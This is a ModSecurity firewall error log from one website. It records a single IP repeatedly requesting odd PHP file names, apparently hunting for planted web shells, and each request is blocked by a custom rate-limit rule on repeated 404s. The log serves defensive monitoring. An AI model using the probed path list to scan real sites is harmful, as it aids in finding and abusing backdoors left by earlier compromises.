[Sat Apr 11 03:42:21.848675 2026] [:error] [pid 55451:tid 55455] [client 4.219.9.127:33753] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx79.php"] [unique_id "adlSnXApxuyB7yCS5RlduAAAAMI"]
[Sat Apr 11 03:42:22.817170 2026] [:error] [pid 55451:tid 55474] [client 4.219.9.127:6549] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx79.php"] [unique_id "adlSnnApxuyB7yCS5RldvQAAANU"]
[Sat Apr 11 03:42:24.288369 2026] [:error] [pid 21568:tid 21590] [client 4.219.9.127:40218] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/CDX2.php"] [unique_id "adlSoIiz5v_ljZxkpR8JNAAAARI"]
[Sat Apr 11 03:42:25.332750 2026] [:error] [pid 21570:tid 21688] [client 4.219.9.127:28128] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/CDX2.php"] [unique_id "adlSoTKs5t9xRSNL6cn-EgAAAE4"]
[Sat Apr 11 03:42:26.062910 2026] [:error] [pid 21706:tid 21722] [client 4.219.9.127:32798] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/CDX2.php"] [unique_id "adlSoiGQ1M5d8fQSsLEZoQAAAA4"]
[Sat Apr 11 03:42:27.504826 2026] [:error] [pid 21706:tid 21712] [client 4.219.9.127:54909] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/CDX2.php"] [unique_id "adlSoyGQ1M5d8fQSsLEZsgAAAAQ"]
[Sat Apr 11 03:42:28.744405 2026] [:error] [pid 21568:tid 21581] [client 4.219.9.127:6564] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/666.php"] [unique_id "adlSpIiz5v_ljZxkpR8JRwAAAQk"]
[Sat Apr 11 03:42:30.141108 2026] [:error] [pid 21706:tid 21727] [client 4.219.9.127:6150] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/666.php"] [unique_id "adlSpiGQ1M5d8fQSsLEZvwAAABM"]
[Sat Apr 11 03:42:31.686035 2026] [:error] [pid 55451:tid 55469] [client 4.219.9.127:6166] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/666.php"] [unique_id "adlSp3ApxuyB7yCS5Rld2gAAANA"]
[Sat Apr 11 03:42:33.222449 2026] [:error] [pid 55451:tid 55473] [client 4.219.9.127:34469] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/666.php"] [unique_id "adlSqXApxuyB7yCS5Rld3wAAANQ"]
[Sat Apr 11 03:42:34.103810 2026] [:error] [pid 55451:tid 55461] [client 4.219.9.127:7088] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wtiiy.php"] [unique_id "adlSqnApxuyB7yCS5Rld5QAAAMg"]
[Sat Apr 11 03:42:34.804975 2026] [:error] [pid 21568:tid 21572] [client 4.219.9.127:29037] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wtiiy.php"] [unique_id "adlSqoiz5v_ljZxkpR8JUwAAAQA"]
[Sat Apr 11 03:42:36.171489 2026] [:error] [pid 21706:tid 21724] [client 4.219.9.127:39799] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wtiiy.php"] [unique_id "adlSrCGQ1M5d8fQSsLEZ0QAAABA"]
[Sat Apr 11 03:42:36.863424 2026] [:error] [pid 21568:tid 21591] [client 4.219.9.127:40894] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wtiiy.php"] [unique_id "adlSrIiz5v_ljZxkpR8JYgAAARM"]
[Sat Apr 11 03:42:38.099887 2026] [:error] [pid 21706:tid 21721] [client 4.219.9.127:32831] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Sanskrit.php"] [unique_id "adlSriGQ1M5d8fQSsLEZ2gAAAA0"]
[Sat Apr 11 03:42:39.099007 2026] [:error] [pid 21568:tid 21586] [client 4.219.9.127:54875] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Sanskrit.php"] [unique_id "adlSr4iz5v_ljZxkpR8JaAAAAQ4"]
[Sat Apr 11 03:42:40.086180 2026] [:error] [pid 55451:tid 55456] [client 4.219.9.127:33762] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Sanskrit.php"] [unique_id "adlSsHApxuyB7yCS5RleBQAAAMM"]
[Sat Apr 11 03:42:42.171844 2026] [:error] [pid 21706:tid 21708] [client 4.219.9.127:34451] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Sanskrit.php"] [unique_id "adlSsiGQ1M5d8fQSsLEZ5AAAAAA"]
[Sat Apr 11 03:42:43.239433 2026] [:error] [pid 21568:tid 21586] [client 4.219.9.127:6146] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/motu.php"] [unique_id "adlSs4iz5v_ljZxkpR8JcAAAAQ4"]
[Sat Apr 11 03:42:44.927455 2026] [:error] [pid 21568:tid 21575] [client 4.219.9.127:6161] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/motu.php"] [unique_id "adlStIiz5v_ljZxkpR8JegAAAQM"]
[Sat Apr 11 03:42:46.696671 2026] [:error] [pid 21568:tid 21576] [client 4.219.9.127:34407] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/motu.php"] [unique_id "adlStoiz5v_ljZxkpR8JgQAAAQQ"]
[Sat Apr 11 03:42:47.549350 2026] [:error] [pid 55451:tid 55465] [client 4.219.9.127:29003] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/motu.php"] [unique_id "adlSt3ApxuyB7yCS5RleMgAAAMw"]
[Sat Apr 11 03:42:48.598779 2026] [:error] [pid 21706:tid 21711] [client 4.219.9.127:6423] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amax.php"] [unique_id "adlSuCGQ1M5d8fQSsLEZ8QAAAAM"]
[Sat Apr 11 03:42:49.972417 2026] [:error] [pid 21568:tid 21594] [client 4.219.9.127:33790] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amax.php"] [unique_id "adlSuYiz5v_ljZxkpR8JkAAAARY"]
[Sat Apr 11 03:42:50.917700 2026] [:error] [pid 21570:tid 21682] [client 4.219.9.127:34387] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amax.php"] [unique_id "adlSujKs5t9xRSNL6cn-PwAAAEs"]
[Sat Apr 11 03:42:51.854875 2026] [:error] [pid 21570:tid 21692] [client 4.219.9.127:7074] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amax.php"] [unique_id "adlSuzKs5t9xRSNL6cn-SAAAAFI"]
[Sat Apr 11 03:42:52.500768 2026] [:error] [pid 21570:tid 21673] [client 4.219.9.127:40243] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adlSvDKs5t9xRSNL6cn-SwAAAEY"]
[Sat Apr 11 03:42:54.205336 2026] [:error] [pid 21706:tid 21717] [client 4.219.9.127:54856] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adlSviGQ1M5d8fQSsLEZ-QAAAAk"]
[Sat Apr 11 03:42:59.908460 2026] [:error] [pid 21706:tid 21723] [client 4.219.9.127:40859] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adlSwyGQ1M5d8fQSsLEaDAAAAA8"]
[Sat Apr 11 03:43:05.772771 2026] [:error] [pid 21569:tid 21647] [client 4.219.9.127:39750] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adlSyXAvQTgvXJ6vHorJ0AAAAII"]
[Sat Apr 11 03:43:07.817151 2026] [:error] [pid 21569:tid 21678] [client 4.219.9.127:6434] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass.php"] [unique_id "adlSy3AvQTgvXJ6vHorJ2AAAAJY"]
[Sat Apr 11 03:43:09.023137 2026] [:error] [pid 21570:tid 21668] [client 4.219.9.127:6429] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass.php"] [unique_id "adlSzTKs5t9xRSNL6cn-iwAAAEM"]
[Sat Apr 11 03:43:26.676969 2026] [:error] [pid 21570:tid 21681] [client 4.219.9.127:54849] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-png.php"] [unique_id "adlS3jKs5t9xRSNL6cn-zQAAAEo"]
[Sat Apr 11 03:43:27.694574 2026] [:error] [pid 21706:tid 21727] [client 4.219.9.127:6973] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-png.php"] [unique_id "adlS3yGQ1M5d8fQSsLEaTgAAABM"]
[Sat Apr 11 03:43:29.087764 2026] [:error] [pid 55451:tid 55468] [client 4.219.9.127:6961] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-png.php"] [unique_id "adlS4XApxuyB7yCS5RlevgAAAM8"]
[Sat Apr 11 03:43:30.338029 2026] [:error] [pid 21568:tid 21582] [client 4.219.9.127:6167] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-png.php"] [unique_id "adlS4oiz5v_ljZxkpR8KJQAAAQo"]
[Sat Apr 11 03:43:31.596298 2026] [:error] [pid 21706:tid 21727] [client 4.219.9.127:6460] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tfm.php"] [unique_id "adlS4yGQ1M5d8fQSsLEaZAAAABM"]
[Sat Apr 11 03:43:32.660924 2026] [:error] [pid 21570:tid 21672] [client 4.219.9.127:34436] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tfm.php"] [unique_id "adlS5DKs5t9xRSNL6cn-4QAAAEU"]
[Sat Apr 11 03:43:33.899117 2026] [:error] [pid 21706:tid 21708] [client 4.219.9.127:34404] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tfm.php"] [unique_id "adlS5SGQ1M5d8fQSsLEacQAAAAA"]
[Sat Apr 11 03:43:34.882410 2026] [:error] [pid 21568:tid 21574] [client 4.219.9.127:19966] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tfm.php"] [unique_id "adlS5oiz5v_ljZxkpR8KOwAAAQI"]
[Sat Apr 11 03:43:35.615295 2026] [:error] [pid 21706:tid 21729] [client 4.219.9.127:33775] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a5.php"] [unique_id "adlS5yGQ1M5d8fQSsLEaeAAAABU"]
[Sat Apr 11 03:43:36.326069 2026] [:error] [pid 21706:tid 21708] [client 4.219.9.127:54873] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a5.php"] [unique_id "adlS6CGQ1M5d8fQSsLEafgAAAAA"]
[Sat Apr 11 03:43:37.562048 2026] [:error] [pid 55451:tid 55461] [client 4.219.9.127:7091] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a5.php"] [unique_id "adlS6XApxuyB7yCS5Rle2AAAAMg"]
[Sat Apr 11 03:43:38.682054 2026] [:error] [pid 55451:tid 55463] [client 4.219.9.127:54908] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a5.php"] [unique_id "adlS6nApxuyB7yCS5Rle4QAAAMo"]
[Sat Apr 11 03:43:39.984123 2026] [:error] [pid 21568:tid 21582] [client 4.219.9.127:40880] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kj.php"] [unique_id "adlS64iz5v_ljZxkpR8KSQAAAQo"]
[Sat Apr 11 03:43:41.183162 2026] [:error] [pid 21570:tid 21694] [client 4.219.9.127:7089] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kj.php"] [unique_id "adlS7TKs5t9xRSNL6cn-7AAAAFQ"]
[Sat Apr 11 03:43:41.887052 2026] [:error] [pid 21706:tid 21721] [client 4.219.9.127:19923] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kj.php"] [unique_id "adlS7SGQ1M5d8fQSsLEalgAAAA0"]
[Sat Apr 11 03:43:43.445634 2026] [:error] [pid 21706:tid 21711] [client 4.219.9.127:19950] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kj.php"] [unique_id "adlS7yGQ1M5d8fQSsLEaowAAAAM"]
[Sat Apr 11 03:43:44.092124 2026] [:error] [pid 21706:tid 21717] [client 4.219.9.127:39751] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a7.php"] [unique_id "adlS8CGQ1M5d8fQSsLEaqAAAAAk"]
[Sat Apr 11 03:43:44.816025 2026] [:error] [pid 21706:tid 21714] [client 4.219.9.127:6204] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a7.php"] [unique_id "adlS8CGQ1M5d8fQSsLEargAAAAY"]
[Sat Apr 11 03:43:45.493715 2026] [:error] [pid 21568:tid 21583] [client 4.219.9.127:6445] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a7.php"] [unique_id "adlS8Yiz5v_ljZxkpR8KWwAAAQs"]
[Sat Apr 11 03:43:46.356424 2026] [:error] [pid 55451:tid 55457] [client 4.219.9.127:40843] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a7.php"] [unique_id "adlS8nApxuyB7yCS5Rle7AAAAMQ"]
[Sat Apr 11 03:43:47.494565 2026] [:error] [pid 21568:tid 21596] [client 4.219.9.127:38334] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bgymj.php"] [unique_id "adlS84iz5v_ljZxkpR8KYAAAARg"]
[Sat Apr 11 03:43:48.998753 2026] [:error] [pid 55451:tid 55470] [client 4.219.9.127:6924] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bgymj.php"] [unique_id "adlS9HApxuyB7yCS5Rle8gAAANE"]
[Sat Apr 11 03:43:49.874308 2026] [:error] [pid 21569:tid 21649] [client 4.219.9.127:6955] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bgymj.php"] [unique_id "adlS9XAvQTgvXJ6vHorKIgAAAIQ"]
[Sat Apr 11 03:43:51.323592 2026] [:error] [pid 21706:tid 21708] [client 4.219.9.127:33731] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bgymj.php"] [unique_id "adlS9yGQ1M5d8fQSsLEa0AAAAAA"]
